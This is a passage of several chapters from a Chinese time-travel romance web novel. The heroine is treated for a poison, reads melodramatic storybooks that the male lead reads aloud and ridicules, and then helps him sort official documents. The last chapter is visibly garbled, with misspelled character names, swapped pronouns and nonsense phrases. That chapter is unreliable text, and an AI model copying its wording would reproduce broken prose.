感受着心脏,似想从心口蹦出来的剧烈跳动,叶绒那是越来越慌,越来越难受,但她一直被人压着,阻止了所有的行为举止,就连那翻了壳的乌龟都不如。
好歹人乌龟壳子翻了,仰倒在地上,四肢还能缩回龟壳里呢,到她这里,连动弹一下都做不到。
好在,忍过最初那股心悸恐慌之后,叶绒逐渐习惯了这种感受,随着时间的流逝,慢慢的就开始变得麻木了……
谢阔是感受到咬在虎口的力道,蓦地松懈下去之后,一低头,方才发现,叶绒昏昏沉沉中,已经失去了意识。
“程叔。”谢阔下意识喊道。
正在聚精会神拨弄银针的程医远听到叫声,下意识看了昏厥过去的叶绒一眼,他眉头不自觉皱了下。
在把人叫醒,和让她接着昏过去之间,犹豫了一下之后,程医远探手给她把了一下脉……
拧眉号脉片刻,程医远很快做下了决定,将断不断,必受其乱,所以——
程医远果断下针,对着叶绒背部痛穴一扎。
“嘶——”
痛感过于鲜明,以至于哪怕叶绒都昏过去了,在这种疼痛的刺激下,还是重新张开了眼睛。
“别昏,你现在要是昏过去,剩下的毒素会彻底融入骨血之中,成为你身体的一部分,以后再难拔出!”
叶绒听到这话,强撑着打起了精神。
她懂,不能睡!
就像在icu里一样,医生搁你身上抢救的时候,要是彻底失去意识的话,那再睁眼,就是下辈子的事情了!
叶绒这般警醒着自己,头一次被人用针扎醒,她还能自我开导;待程医远故技重施,第二次被人扎醒,她也还能接受;但接连反复又来了几次之后,叶绒麻爪了。
她有气无力问道:“我身体里的红颜,还要多久才能清除?”
“快了快了!”程医远在她背上捣鼓着,头也不抬的回答道。
叶绒:“……”
遥遥无期.jpg
着实有些撑不住的叶绒,这回是彻底的死心了。
算了,累了,痛麻木了,随他折腾吧!
能活活,活不了死!
自暴自弃的叶绒,怀着这种念头,再次昏沉沉的失去了意识之后,任凭程医远怎么在她痛穴上戳刺,在心里提起来的那口气泄了之后,她都没能醒过来……
等叶绒再次睁开眼的时候,猝不及防,看到男人那张放大的俊脸,她愣了下。
“……终于结束了?”
男人听到她的话,默默道:“你已经睡了两天了,急的程叔焦头烂额的;你要是再不醒,我都准备在九州广发告示,请隐于民间的杏林高手,想法子把你弄醒了。”
叶绒神情恍惚了好半响,方才接收完男人话里,传达出来的讯息。
“……噢。”
看她表情呆愣,跟个木偶人一样,戳一下动一下的模样,在她床头坐着的谢阔,不自觉皱起了眉头。
“难不成,程叔在你脑袋上扎的针太多了,一不留神,把你给扎傻了?”
她这反应,跟魂儿还没落到实处,三魂六魄离家出走了一样,看得人心慌。
以至于,本来只随口开个玩笑,想活跃一下气氛的谢某人,看叶绒躺在床上,好半响,都一动不动,对他的怀疑,不置一词的模样,男人脸上的笑容缓缓拉平。
不会解个毒,真给人解傻了吧?!
谢阔当即就慌了,“程叔……”
看他二话不说,想喊大夫过来的模样,叶绒强行提着一口气,阻止了他。
“不用喊人过来,我没事,就是睡太久睡懵了。”
在周公那里待久了,乍一睁眼,猛的回到了现实,大脑暂时还没做好工作的准备,以至于她有些歇菜。
谢阔闻言,伸手给她把了下脉,看她脉象和前两天一样,仔细观察了下叶绒神情,没发现什么不对劲之处,他方才放心。
人没事儿就好!
给人把过脉,确认她能承受住一定的刺激之后,谢阔稍微沉吟了一下,决定给她来点刺激劲爆的消息,方便她精气神尽快恢复。
这般想着,男人清了清嗓子,把床上躺着的少女,注意力吸引到他身上之后,他方才矜持开口:“我这里有两个和你有关的消息,一个好消息,一个坏消息,你想先听哪个?”
叶绒:“……”
这套路太老套了!
以至于她对此,连个白眼都不想翻。
“好消息是什么?红颜解了?”
叶绒现在只想接受这一个好消息,其它的对遭了那么多罪,反反复复昏了又昏的她来说,那都不是事儿!
谢阔:“……是也不也是。”
有鉴于当事人不怎么配合的缘故,他这回倒是没卖关子,直接就告诉了叶绒答案。
第一百四十八章 名副其实
“你体内的红颜,大部分都被程叔,采用放血疗法的方法,伴随着血液一起流了出来,但由于你后来晕过去了,所以最后一丁点儿残留的红颜,彻底融入了你的骨血中,没办法再排出来。”
程叔穴位扎的再精准,他内力在她体内运转的再怎么舒畅,当事人意识不清醒,望闻问切少了一个步骤,以至于红颜残留在她体内了,他们也很无奈!
关键是,当时程叔给她放血治疗的时候,为了以防万一,卡着她身体的极限,特意多放了一会儿血,就是为了防止这种情况的发生,结果……
只能说,人算不如天算!
程叔也是昨天给她把脉的时候,方才发现这一点的!
可惜,已经晚了,无法挽救了。
听完男人略带遗憾的叙述,叶绒傻眼了。
不是——
这么草率的吗?
“你们当时可以叫醒我啊,针扎不醒,可以采取其他法子,无论是扇巴掌还是捂鼻子,我都能接受的,事后也绝对不会怪你们,真的!”
叶绒杏眸万分诚恳的看着谢阔。
被她死死盯着的男人,“……”
“当时接连几次,把你从昏迷中弄醒过来,你的怨气看起来比鬼都大,着实是不太适合,再把你叫醒了。”
问就是从心。
听出男人话里潜意思,叶绒哽了哽。
这波着实没办法怪他们两个,也不想把这锅,揽到自己身上的叶绒想了想,又在心里问候了下,捅刀的那个神经病之后,便把剩余的怨气,尽数发泄在了给她下毒的罪魁祸首身上。
“……”
一连串说出来会被屏蔽的话语,在心里略过一遍之后,叶绒方才将将冷静下来。
“那残留在我身体里的红颜,有什么危害?你直说吧。”
叶绒表情凝重地想,她已经做好心理准备了,能接受的。
看她总算恢复了正常,几不可见松了口气的男人想了想,语气尽可能带着些轻松的道:“问题不大。”
真要是在她身体里残留的红颜,还有危害她的可能性的话,亦或者是有可能对她身体造成损伤,程叔不可能治疗到一半,就撂挑子不干了,把她体内剩下的那一丁点儿红颜,交给时间来消磨。
男人这么想着,语气带着些矜持的开口,“就是吧,回头咱们成亲之后,你要少惹我生气,到时候咱们夫妻琴瑟和鸣,那就一切都好说了。”
尽管男人说的很是含蓄,但秒懂的叶绒:“……”
在网上冲浪久了的叶绒,听到男人的话之后,get到话里的潜意思的她,对此第一反应是——
红颜适合出现在ht文里,这小甜文的世界,着实不适合它生长发展啊!
虽然但是——
惋惜归惋惜,作为一不小心中招的人,叶绒看到谢某人那有些荡漾的模样,她学着他过往的样子,皮笑肉不笑的扯了扯嘴角。
呵呵.jpg
“这世上,两条腿的男人和四条腿的青蛙一样,遍地都是,好找的很。”
看男人因她的话,脸上笑容顿时僵住的模样,叶绒眉飞色舞的跟打了一场胜仗似的。
想pua她,让她变得跟这里的女人一样三从四德?
想得美!
叶绒这般想着,对着谢某人笑眯眯道:“所以呀,有时候,做人尤其是男人,不能太高估了自己,懂?”
别说他们没有以后了,他们就算是当真结婚了,他要是敢在那种特殊时候晾着她,她就敢直接踹了他,说拜拜,去找下一个更乖的!
因她这犀利言辞,又承受了会心一击的谢阔:“……”
关键是,她这话还真没说错!
他先前听完程叔说的话之后,思维因为惯性陷入了误区,完全忘了她和别的女子不同!
别的不说,谢阔敢确信,他要是真打了歪主意,想在这上面拿捏她的话,那他回头,说不定能多上不止一个兄弟!
啧——
就在男人心塞塞的同时,把人呛了一波的叶绒,猛的想起来一件事,然后她也跟着笑不起来了。
就……
“残留在我身体里的那点红颜,以后不会一直发作吧,一直到我老去,都不消停的那种?”
这种事情一想到,就很可怕。
稍微脑补了一下自己变成了老太婆之后,还要辛苦操劳的场景,叶绒:“……”
叶绒还是恶寒的打了个激灵,脸上表情那叫一个嫌弃。
看着把心里话再度写到了脸上少女,谢阔:“……”
他很是无语。
“倒也不至于想到那么久之后的事情,且不说这点余毒,在你没法生育之后,便没了效用;就算那丁点余毒真那么厉害,在你身体里待那么久,你的身体都无法抗衡,把它消磨掉,老了你没那个精力了,它再怎么着,也蹦达不起来啊!”
几十年之后,都到了修身养性的年纪了,怎么可能会被现在这点余毒给影响到?!
谢阔着实想不通,她是怎么脑补到这一点的。
眼看着床上躺着的少女,因他的解释,狠狠松了一口气的样子,感到内心还有一些憋屈的谢某人,索性一下子给她解释了个清楚明白。
“这点余毒影响不到你哪里去的,只不过之后每年最冷的那一天,你都要稍微注意一下,你体内红颜的余毒,会在那天明显发作一次,到时候你是直接忍过去也行,成婚之后找我也可以,但无论是选择了哪种解决的方式,事后都要好好补补,毕竟余毒那般发作下来,你全身气血被调动,经期会很是耗损一番的。”
听到这话,叶绒:“……”
草率了,她刚刚那口气松的太早了!
“……要怎么补?是要吃一些人参燕窝之类的东西吗?”
“大差不差的。”
得到肯定答复,叶绒左眼猛地跳了几下。
Emmm……
别人左眼跳是进财,完了换到她这边变成了出财,这可真是一件让人悲伤的事情。
只能说,他来到这个世界之后,给自个儿起的名字,那可真是太形象了!
厍怵、社畜!
名副其实的社畜啊,不好好打工赚钱养活自己,要短寿的那种!
第一百四十九章 给过机会了
从来没有想过,自己有一天竟然会混到这种凄惨地步的叶绒,整个人欲哭无泪了好半响。
千言万语,只化作一句话——
穿越,实惨!
亏她以前,青春年少无知的时候,和前后桌讨论那些感兴趣的小说,yy小说里的男主和男配的时候,还幻想过,穿到他们的时代,和他们谈一场甜甜的恋爱呢?!
真穿越到古代,发现自己对古代究竟有多么水土不服之后,叶绒内心只剩下呵呵了。
就这,她还是有拼夕夕这一巨大贼粗的金手指,傍身的人呢!
倘若她当真和别的穿越女一样,魂穿古代,亦或者稀里糊涂身穿就来了个人的话……
Emmm……
叶绒只稍微这么一想,就觉得人生一片绝望!
真不晓得小说中那些穿越的主角,在小说大结局的时候,是怎么做到,心甘情愿的留在这里的,要知道这里可是无论衣食住行,还是思想之类的,各方面都很落后的时代!
换成是她的话,在被这个时代彻底改造成一合格的古人之前,她肯定会想办法,嘎了自己,一了百了!
当然,有鉴于她在这里,走完剧情之后,还能回到现代,以上这些,不是她该考虑的事情!
她需要考虑的是,回去之后,怎么养活自己突然变得娇气的身体!
惨兮兮.jpg
猛女落泪.jpg
谢阔看叶绒一副愁眉苦脸的模样,误会了她的意思。
“放心,那些补身体的东西,肯定没你现在吃的药粥难吃,你不用担心自己食不下咽的。”
叶绒:“……谢谢你的安慰。”
他这话还不如不说呢,一说显得她更凄惨了!
花钱买罪受什么的,实惨!
正当叶绒为自己肉眼可见的社畜生活的凄惨未来,而唉声叹气的时候,她突然想起来一件事情。
这具身体是要青灯古佛,病死在庙里面的,人穿越大神都已经承诺过了,送她回到现代之后,让她重新好好活下去了。
在这一前提之下,祂显然是不可能让她回去之后,就直接进火葬场的,那这样一来的话……
想明白了这一点的叶绒,杏眸肉眼可见的恢复了光彩。
妥了!
综上所述,改明儿回到现代之后,她还是一健健康康美少女,身体不曾被耗损过元气,也不用忍受红颜余毒侵扰的那种!
开心撒花.jpg
谢阔看她这般模样,还以为是自己的安慰起了作用,“……”
无语好半响的男人,倒也没有多想,只是对叶绒吃货的本性,又加深了一点儿了解。
“叶守武家的听说你病了,身体需要卧床静养好长一段时间之后,特意送了些话本子过来,给你打发时间用,需要我让人给你送进来吗?”
在洛阳城那边的时候,他从未见她看过话本子,但叶守武家的,让人把那些话本子送过来的时候,又非常笃定的说,她肯定会喜欢的,谢阔不清楚她是否好这一口,所以先提前开口问了下。
孰料——
叶绒听到男人的话之后,瞬间想歪了。
“!!!”
想到上一回去隔壁的时候,蔷薇正大光明坐在院子里看的那本书,她小脸刷了一下就红了。
送了些话本子过来……
这话的意思是,蔷薇把她压箱底珍藏的那些让人小脸通黄的书书,都分享给她了吗?
姐姐大方.jpg
看叶绒眼睛亮晶晶,整个人气息肉眼可见的荡漾了起来的模样,男人莫名觉得有些不对劲。
这什么个情况?
难不成那些话本子有什么问题?
这般想着,谢阔沉吟一下便开口道:“我先前竟不知你喜欢看话本子,着实对你有些不上心。”
男人话一出口,便先自我检讨了一番。
叶绒:“……”
啊嘞?
他这脑回路跳的太快了,她有些跟不上!
虽然但是,她知道他这人,向来大方好说话,端的是一副谦谦君子温润如玉的模样,但他这般,怎么看起来,有些像往暖男方向发展了???
要知道,他六年之后,登上那九五至尊的宝座,被各色美女环绕,就算是在后宫当空调的时候,那对着他的三千佳丽,当的也是制冷的空调啊!
同样是中央空调,制冷和制暖还是有很大的区别的。
所以——
现在这是什么情况?
不等叶绒反应过来,谢阔稍微铺垫了这么一句话之后,知道床上少女是什么性情的他,便直接打了直球。
“我们一起看一下,叶守武家的送来的话本子吧。”
叶绒:“!!!”
看床上躺着的少女,被他这句话吓得,陡然瞪大双眸,一副惊悚至极的模样,更觉得不对劲的男人,二话不说扬声喊人,让人把那些话本子搬了进来。
Emmm……
生平从未遇到过如此尴尬事情的叶绒,一下子变得很是麻爪。
叶绒看着男人这副打定主意,要和她一起看小黄书的模样,她垂死挣扎着,趁着那些书还没有送进来,想抢救一下。
就……
“蔷薇姐姐让人送过来的那些话本子,是女人家的闺阁读物,写得很是直白粗鄙;你饱读诗书,熟读四书五经,谨守圣人之道,恐怕看不习惯那些个俗物,要不然还是算了吧,我一个人看就好,完全不需要你陪的。”
男人听到这话不置可否,只对着她道了句,“你刚失完那么多血,不适合劳神费力,眼睛也不适合多用,等会儿你在床上好好躺着,我读给你听好了。”
他倒要借着她的反应,好好看看,她俩到底在书里藏了些什么不想让他知道的东西。
叶绒:“……你真想这么干?”
男人闻言,看叶绒脸上表情青一阵白一阵,古怪难言的模样,他轻轻颔首。
叶绒:“……”
她忍了又忍,好半响,才憋出来一句话,“那你等会儿可别后悔。”
当众读小黄文的社死,谁试谁知道!
大不了她等会儿听到尴尬处,被子一拉,头一蒙。
只要她不尴尬,那尴尬的就是他!
该!!
她已经给过他机会了!!!
第一百五十章 决定
将将拿到话本子还没打开的时间,谢阔还以为叶绒只是在放狠话。
他,害怕?
呵.jpg
男人不屑一顾,他生平除了她的眼泪,没有其它怕的东西!
但当谢阔随手捞起一话本子,翻开书册,看到书名那刻,他手上动作猝不及防顿了下。
???
《霸道县太爷的娇蛮老婆子》
生平从未想过,这几个字竟然能连在一起出现的男人,内心隐隐有了种不好的预感。
当他翻开目录,看到那上面雷人的章节名的时候,内心那不好的预感,变得更加的浓厚了。
Emmm……
男人抖着手,在床上躺着的娇人儿亮晶晶的目光中,打开书册,来到正文,然后——
“!!!”
生平头一次,谢阔感受到了文字的烫嘴。
但在叶绒无声催促的目光下,想到自己的目的,男人还是硬着头皮读了段。
“天空暗沉,在那暮色噬人的夜晚,翠花推着装满了夜香的车从县太爷家侧门经过的时候,一个没注意,诺大车身撞上一硬物,陡然侧翻……”
谢阔读到这里,额角青筋情不自禁跳了下。
且不说这段话里的槽点,单就一点,倒夜香这种活计,他就是再怎么四肢不勤不食五谷,也知道,没有妇人干!
这般体力活,不都被那些壮汉包揽了么?!
“哎呦!”
“伴随着一声低沉的口申口今,翠花一个手松,车上侧翻的夜香,溅了男人一身,翠花看到男人身上那青天大老爷的衣服,娇俏的面容顿时一片煞白——”
谢阔也顿时读不下去了。
这文字,太……让人不忍直视了。
没眼看.jpg
偏偏床上躺着的人儿听到了兴奋处,拉着被子遮住小半张脸,跟打了鸡血似的,激动的看着他,一看他停下,就迫不及待的催着下文。
“然后呢,然后呢……”
“县太爷是不是来到翠花面前,掐着她的下巴,非常邪魅霸气的说着这样那样的话,翠花跟清纯小白花似的,一副单纯倔强毫不做作的模样,说要给他洗衣服赔钱重新买……”
谢阔听到这话,一目三行,忍着眼睛被辣到的感觉,往下看了看,又快速翻了几页,打眼一扫,然后……
男人在叶绒期待目光的注视下,嘴角狠狠抽搐了一下,“官服乃朝廷下发的衣服,非重要场合不得穿,且不说县太爷下了值之后,怎么会穿着官服在外,单就一点就说不通,她一倒夜香的,就算有钱买官服,能有资格制作官服的绣坊,哪个敢卖给她?”
莫说是从前了,便是现下京城那边威望不足,在几个州的太守治下,也没人敢明目张胆的,做这种违法的事情。
写这话本子的人,是把脑子喂给狗吃了吗?
谢阔着实想不通,好好的一个人,怎么能写出来这种东西?!!!
叶绒看着男人这般吐槽的模样,整个人都,“——”
家人们谁懂啊,她错亿啊简直!
她先前一直以为,古代的话本子,讲的都是那些个贫苦书生,志向高远,勾搭了一个温柔贤惠的富家小姐,亦或者受青楼女子资助,考上状元郎之类的,完了忘恩负义的,被人榜下捉婿,最后被人寻上门,一众女子,在书生身上那闪瞎人眼的主角光环的影响下,和睦相处,共侍一夫,开开心心生活在一起,成为一段佳话,人人美谈的故事。
对于书生写的这种毁三观的yy故事,她是一点都不感兴趣的。
哪曾想——
古代话本子,竟然是这样的!
这邪魅霸道的总裁,这破天的狗血,呜呜呜,她土鳖,她爱看!
古早文学为何曾经风靡一时?
还不是因为它尬的人欲罢不能!
看床上躺着的少女兴奋激动的,对他手中的话本子一副垂涎欲滴,迫不及待想知道后事如何的模样,谢阔:“……”
熟悉的脑壳疼的感觉,久违了!
男人沉吟好半响,他跟扔烫手山芋似的,把手上话本子扔回原位之后,对着床上躺着的人儿,很是诚恳的建议道:“我这里有大儒批注过的四书五经,回头我让人给你送过来,你养伤期间好好看看它们,如何?”
叶绒:“……”
在男人期待目光的注视下,她毫不客气的送给他一双白眼。
“我有蔷薇送来的这些话本子,就足够了,不需要其它东西打发时间了。”
看男人因为她的话,一副很是不忍直视的模样,她没敢再挑战他的耐心,生怕他二话不说,直接就把她接下来一段时间的精神食粮,给焚了。
“你还要接着读吗?你要是不读的话,等会儿我自己看,你该忙什么就忙什么去吧,我这里不用你陪。”
听到逐客令的谢阔:“……”
男人在继续读烫嘴的话本子,和接着回去处理公务之间,毫不犹豫的选择了后者。
“既然这样,我还有事情要处理,就不在这里待着了。”
“好。”
“你回头要是有什么事,可以让人去书房找我。”
“嗯。”
“那,我走了?”
“拜拜。”
看男人说完话之后,一动不动的模样,叶绒想了想,悄咪咪从被窝里伸出一只手,对他摆了摆。
谢阔:“……”
她这敷衍的态度太明显了,一想到他离开之后,她要做什么,谢阔整个人就,“——”
他深吸一口气,调整了一下情绪,方才艰难开口叮嘱,“你现在不宜劳神费力,回头看话本子的时候,注意着点,看一会儿便休息一会儿,莫要入迷!”
最后四个字,男人简直是咬着牙,从齿缝里蹦出来的。
叶绒听到,很是乖巧点头,一副听话的模样。
谢阔:“……”
她这样,他更不放心了!
男人不着痕迹的扫了眼,他让人抱过来的一众话本子……
最终,在叶绒警惕目光的注视下,思绪转动间,内心已默默做下了一个决定的谢阔,什么都没说,只点点头便转身离开了。
禁书令什么的,每个朝代都有,他没千古一帝那么过分,做不出来焚书坑儒那等事情,但有的书,也该让其长眠于地下,省得出来祸害人眼睛了!
第一百五十一章 受益
叶绒靠着蔷薇送过来的话本子,就这么一直在床上躺着,度过了无聊的闲的发慌的,养病的时间。
甚至于就连腊八当天,她都被人按在床上,躺的骨头都酥了,都没被人放出去溜达一圈。
问就是她元气不足,需要好好休养。
就在叶绒以为,她要和人家坐月子的一样,在床上躺上一个月的时候,腊八过后的第三天,程医远中午再度给她诊过脉之后,终于放话,她可以适当出门走动走动了。
叶绒:“……”
她当场激动的,跟那些刑满释放的人一样,那叫一个热泪盈眶。
“那我药粥是不是也不用吃了?”叶绒满脸激动的看着程医远。
程医远:“……”
他摸了摸自己这段时间,因为极度作息不规律,而掉了不少的小胡子,看着叶绒,脸上露出了一抹尴尬而不失礼貌的笑容。
叶绒:“……”
好吧,她懂了。
虽然但是——
叶绒强忍着满腹心酸,目光幽怨的看着自个儿的主治大夫,“为什么最近的药粥,越来越难喝了?”
她搁现代生病了吃药,从治疗开始到快好的时候,依次递减,吃的药那是越来越少;怎么在这里,却完全反着来了?
药粥味道越来越古怪,药味越来越浓厚,整的本以为已经适应了药粥味道的她,那叫一个难以下咽。
天知道她最近这段时间,是如何把一日三餐塞进肚子里的!
看着不知想到了什么,撇着嘴满脸嫌弃的叶绒,程医远摸着胡子想了想,松口道:“小姐身体已经好了不少。”
“那药粥……”
知道她这段时间,吃药粥时到底磨叽到什么程度的程医远,在她话未出口前,连忙打断,“您下回吃药粥的时候,可以适当配些爽口易消化的佐菜了。”
听到这话的叶绒:“!!!”
苍天呐,大地呐,她终于迎来了希望的曙光。
“那我还需要吃多久的药粥?”
“快了快了,您很快就不用吃药粥了。”程医远说着,不知想到了什么,眼神飘忽了一下。
叶绒:“……”
托药粥的福分,彼时对与此有关的话题,感知万分灵敏的叶绒,瞬间发现了他的不对劲。
“你该不会是在糊弄我吧?”叶绒满脸狐疑,微眯杏眸看向程医远。
看着近朱者赤近墨者黑,因为和自家少主相处久了,表情都变得有了他那股神韵的叶绒,程医远手蓦地抖了下。
“小姐多虑了。”受不住这般眼神威压的程医远,很快就提前交了底。
“某观您脉象,药粥再过五日左右的功夫,就不用再吃了,回头就可以改成药膳了。”
叶绒:“……其实,你这话可以只说一半的,最后那句,现在可以不用说。”
好歹让她开心几天啊!
万万没想到药粥完了,后面竟然还有药膳的叶绒强扯着嘴角,本想勾起一抹礼貌的笑容,好半响,扯不动嘴角的她一脸苦涩道:“程叔,劳烦您给个准话,我要当多久的药罐子?”
“正所谓冬阳夏藏,如果没什么意外的话,在天气回暖,万物复苏之季,您就可以不用用药了。”
叶绒听到这话,掰指一算,当即眼前一黑。
她还要吃最起码三个月的药!!!
小半年的药吃下去,她当真不会变成药人吗?
看她一脸颓丧模样,程医远沉吟片刻,对她说出了一不算安慰的安慰。
“小姐,少主要陪您一起用药,他的药粥比你的药粥还难喝,您回头要是实在吃不下去,在服用药粥的时候,可以和他一起做个伴。”
有了那么一个陪衬,想来她吃药粥的时候,就不会觉得那般艰难了。
叶绒:“……”
程叔这话,当真是让人受益匪浅,充分表达了人与之之间的塑料情谊。
虽然但是——
人家是死道友不死贫道,到她这是道友贫道,一个都跑不脱。
和谢某人成了难兄难弟什么的,她一点都没被安慰到。
程医远看着听到他的话之后,面容越发苦涩的叶绒,已经尽力的他沉默好半响,最终决定把安抚人的任务,交给了在书房的某人。
他尽力了,真的
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叶绒把大夫送走之后,在房间里已经待的够够的她,麻溜收拾一下自己,然后就裹得严严实实出门了。
待房门打开那刻,终于嗅到外面新鲜空气的叶绒,内心感动的哇哇的。
爷终于自由了!
满腹言语有待叙说的叶绒甫一出房门,“???”
只稍微往前踏了一步,发现自个儿小腿肚以下,全都没了踪迹的叶绒,傻眼了。
这什么情况?
叶绒试探着,又往前走了两步,这短短两步路的功夫,她膝盖以下全都被皑皑白雪埋没了。
“……”
这么厚的雪,她要是一不小心栽倒了,怕是能直接被雪给埋了吧?!
正当她内心充满感慨的时候,大老远的看到她跃跃欲试,在雪里深一脚浅一脚艰难挪动的模样,有人叹了口气,穿着雪地靴,把她从雪里捞了出来。
“咱们院子里的雪,小厮时常打扫都这么厚了,现在在这条街上住着的人,整天自顾不暇,自扫门前雪都已经够费力了,完全没那个精力打扫街上的积雪,你这时候出去,是想被外面的雪埋了吗?”
就连他这几天都没敢出门,她胆子倒是够大的,一解禁就想往外跑。
叶绒听到这道熟悉的嗓音,扭头一看,便是谢阔的面容。
看着谢某人神情憔悴,略显沧桑的模样,知道他前两天刚毒发过一次的叶绒:“……”
不敢动.jpg
害人遭了两波罪的叶绒,一脸心虚的任凭谢阔把她从雪里拎出来。
“好久不见哈!”
男人无语看她一眼,“我们三天前才见过。”
“好端端的,你出门做什么?”
“我没想出门,我就是想看一下咱院子里的雪,到底有多厚!”
她长那么大,还没见过那么厚的雪呢!
看出她说的是真心话的谢阔:“……”
熟悉的,无语的感觉,久违了!
好,很好!
被气的发笑的谢阔决定了,刚好他书房还缺一个磨墨小厮,她既然这般有闲情逸致,那就来书房干活吧!
第一百五十二章 男版的黛玉
叶绒对上男人无语的像是在看傻子一样的目光,理不直气也壮的她,毫不心虚的回望过去。
咋滴啦,她南方人,在温室效应下长大,没见过厚的一脚踩下去能把人小腿都给埋下去的雪,好奇之余有些兴奋,想亲自验证一番,有什么问题吗?
才不是她想玩雪呢!
男人没对她这番态度做什么表情,只在她的注视下,突然抬手,以拳抵唇,似受不住般,有些气虚的咳嗽了两下。
温雅君子秒变男版黛玉。
本就因他身体状况,有些心虚的叶绒,一看男人这般模样,当即顾不得斗气了,她连忙上前两步,很是关切的看着谢某人。
“你怎么了?”
叶绒说话时伸手虚虚的扶着男人,同时全身蓄力,以便他要是突然倒下昏过去了,她能撑住。
“没什么。”男人抿了抿淡色的薄唇。
他眉心似有些苦恼的微皱,“就是这两天元气耗损有点严重,还要天天磨墨蘸笔,批阅公文,身体一时有些受不住罢了,没什么大碍,程叔说我再喝大半个月的药,就没事了。”
听到这话的叶绒:“……”
她更加心虚了。
这喝大半个月的药,好不容易把身体将养回来一点,完了没几天,碧落要是再发作一回的话……
嘶!
那场面,叶绒只稍微一想,就感觉头皮发麻。
她有罪.jpg
心虚愧疚的叶绒,看着谢阔小声劝慰道:“身体是革命的本钱。你现在中毒了,身体那么虚弱,需要好好将养一下,公文什么的,能少批一些,还是尽量少批一些吧。”
她知道他是劳模,一天不干活闲不住的那种。
但归根究底,还是身体最为重要啊!
这种特殊时期,能少操劳一点,还是尽量少操劳一点吧!
看着满腹感慨,说出这话的叶绒,谢阔很是无奈的叹了口气。
“偌大的豫州,在这等年关的重要关头,那么多紧要的事情要处理,家父身体本就不好,倘若我不多帮忙分担一点的话,怎么行?”
听到这话,看男人一副很是无可奈何的模样,被他这话说的越发心虚气短的叶绒:“……”
叶绒索性一咬牙跺脚,看着谢某人一副舍生取义的模样,道:“那有什么是我能帮你的吗?”
她有那个责任,也有那个义务,帮他减轻负担。
不就是牺牲点休息时间帮忙吗?
该!
叶绒在心里默默说服自己——
她在床上躺着,歇了那么多天了,该出来帮忙干点儿活,让和她同病相怜的病友松快一下了。
不然的话,她要是因为懒惰,害得本就身体不适的人,累的底子都出了问题的话,那她当真万死难辞其咎了!
谢阔:“……”
就等着她这句话的男人闻言,无声的笑了。
“那谢某这厢就劳烦姑娘,帮忙磨墨蘸笔,做些琐碎的不方便外人来办的事情了。”
叶绒:“……”
他这话说的太快了,以至于她莫名有种被算计到的感觉。
怎么肥事?
猫猫疑惑.jpg
男人在叶绒的眯眯眼注视下,回以一淡定笑容,他从容弹去身上捞人时落下的雪花,掷袖一挥,“厍姑娘,请!”
叶绒:“……”
他这话喊得,她心肝有点颤抖!
这不知道的,怕不是要以为,她又要去当社畜了呢!
事实证明,叶绒想的一点都没有错。
在男人书房磨了两天的墨汁之后,眼见她已经熟能生巧的上手,做其它琐碎事情时,也不再出错了,在她犯懒磨洋工之前,谢阔又重新给她找了个活儿干。
铺着地龙的书房内,朱笔批阅写字的男人,在叶绒在砚台里磨好墨汁,闲的发慌的时候,头也不抬的给她找了个新任务。
“那么多公文里,事情轻重缓急不一,你打开大致瞅一眼,然后按顺序帮我重新摆一下。”
男人说完这话,还不忘缀上一句客套话,“劳烦姑娘帮我减轻些重担了。”
叶绒:“……”
她听到这话,傻了一下。
什么鬼?
说好的后宫不得干政呢?!!
哪怕他现在还没登基,但她好歹是女的,还顶着他准未婚妻的名头呢,这都不知道避讳着点儿?
书里那个因为王皇后为自家亲族求了两句情,就怒而发火,对其直言后宫不得干政的那位云朝开国君王呢?
你现在做人那么双标,有考虑过以后的你的感受吗?
彼时的叶绒,万分想就着这个问题,采访下主位上的男人。
并不知道她内心吐槽的谢阔,等了好半天都没见叶绒有动静,他忙里抽闲,抬头看了叶绒一眼。
看她神情复杂,难以言喻,在原地站着一动不动的模样,谢阔:“……咳咳——”
在短短两天时间里,已经养出条件反射的叶绒,听到男人的咳嗽声,麻溜的端茶倒水,外加出声安抚,“你悠着点儿,凡事莫急莫慌,先喝点水润润喉咙,给公文排序是吧?我这就动手帮你减轻负担。”
叶绒边说,边手脚利索的,按谢某人的指示,行动了起来……
她这般作为,倒不是跟谢某人相处久了,养成了怜香惜玉的习惯,主要是吧——
连着两日来的经验告诉她,她要是不在他刚开始咳嗽的时候,把人给安抚住的话,那她接下来,一整天的时间,就都别想好过了!
因为,她说他像男版的黛玉这话,真是一点都没说错,那高傲的倔强,那病弱西子的模样,再配上那苍白的没有血色的面容……
Emmm……
还是那句话——
她有罪!
所以,摊上这么个祖宗,她活该!
彼时的叶绒,经过这么两天的端茶倒水送饭送食,磨墨蘸笔,几乎已经隐隐有些认命了。
在谢某人身上的毒,被解了之前,她都摆脱不了这般当保姆的命运!
嘤嘤嘤。
关键吧,一想到他因为碧落遭的罪,以及程叔为了率先给她治疗,延迟了为他研制解药的时间,又害他活遭了一番罪,叶绒就连卖惨都没法卖了。
惨兮兮.jpg
她惨他更惨的那种!
第一百五十三章 公文
叶蓉不停翻看着男人。转上摆着都未曾批阅的公文,单眼匆匆一扫,大致判断出手上公文的紧急程度之后,便按照事情紧急程度摞到男人左手边,方便他批阅。
那么一大摞公文看着很多,实际上也……很多,但这还不是让人最绝望的。
你敢信,现代霸总办公,文件要细看,落笔要慎重,但归根究底也就那么点事情要处理,而到了他这里,他一大摞公文刚分完。还没几分钟呢,只喝了口茶的功夫,就又有人报了一批洛阳城那边快马加鞭送过来的文书。
叶绒:“……”
这两天在书房呆着的经验告诉他,就这还没完,就七一个一天的功夫,还有好几摞文书等着他呢。
讲真,有一点椰蓉着实是想不明白,外面那些快马把公文送过来的人,他们是估摸着时间来的吗?
他们是怎么做到把时间差算的那么精准的?他面前一摞文书将将批完,还没个嫌弃的功夫呢,就又有人敲门送公文来了,这时间卡的他一愣一愣的。
“你实话告诉我,你今天还有多少折子要批阅?”
在帮他分批次按照事情的轻重缓急程度。整理了几波公文之后,叶绒。一脸麻木的开口问道。
他的人生已经没有盼头了,他现在只想知道他今天什么时候能够解放?
男人听到这话,忙里偷闲的放下手中朱笔,揉了揉因为长时间不停写字而有些泛酸的手腕。
看他满眼绝望的模样,男人难得有些失笑。
“今日顾问和前几天比起来送过来的已经算少了,一切放心,把咱们加快点速度,你还能和往常一样正常睡觉。”
听到这话的叶绒:“……”
他抬眸欲言又止的看了他一眼。
他对外熄灯确实蛮早的,但是迹熄了灯火之后都会躲在被窝里偷偷玩手机,一玩就是大半夜, 偶尔禁不住诱惑,玩到凌晨也是常态
那么问题来了,他所谓的他能睡觉的时间,指的是他熄灯的时间还是他真正入睡的时间啊?
